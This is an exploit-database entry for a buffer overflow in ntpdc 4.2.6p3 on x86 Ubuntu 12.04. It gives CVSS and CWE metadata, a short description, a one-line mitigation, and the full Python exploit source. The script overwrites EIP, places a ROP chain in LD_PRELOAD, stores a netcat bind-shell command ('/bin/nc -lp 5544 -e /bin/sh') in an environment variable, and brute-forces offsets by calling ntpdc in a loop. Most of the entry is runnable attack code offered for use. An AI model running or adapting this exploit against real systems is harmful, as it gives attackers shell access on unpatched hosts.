NTPDC 4.2.6p3 BOF

vendor:

NTPDC

by:

dronesec

7.8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: NTPDC

Affected Version From: 4.2.6p3

Affected Version To: 4.2.6p3

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu 12.04.5 LTS

2015

This exploit is a buffer overflow vulnerability in NTPDC 4.2.6p3. It is tested on x86 Ubuntu 12.04.5 LTS. The exploit uses a payload of '/bin/nc -lp 5544 -e /bin/sh' which is stored in the environment variable EGG. The exploit then uses a loop to increment the LD_PRELOAD environment variable with a payload address based on an empty environment. The exploit then calls the ntpdc command with the sploit payload.

Mitigation:

Upgrade to the latest version of NTPDC.

Source

Exploit-DB raw data:

# Source: https://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/

from os import system, environ
from struct import pack
import sys

#
# ntpdc 4.2.6p3 bof
# @dronesec
# tested on x86 Ubuntu 12.04.5 LTS
#

IMAGE_BASE = 0x80000000
LD_INITIAL_OFFSET = 8900
LD_TAIL_OFFSET = 1400

sploit = "\x41" * 485        # junk 
sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eip
sploit += "\x41" * 79        # junk 
sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcode

ld_pl = ""
ld_pl += pack("<I", 0xeeffffff) # ESI
ld_pl += pack("<I", 0x11366061) # EDI
ld_pl += pack("<I", 0x41414141) # EBP
ld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RET
ld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDI
ld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrong

environ["EGG"] = "/bin/nc -lp 5544 -e /bin/sh"

for idx in xrange(200):

    for inc in xrange(200):

        ld_pl = ld_pl + "\x41" * (LD_INITIAL_OFFSET + idx)
        ld_pl += "\x43" * (LD_INITIAL_OFFSET + inc)

        environ["LD_PRELOAD"] = ld_pl
        system("echo %s | ntpdc 2>&1" % sploit)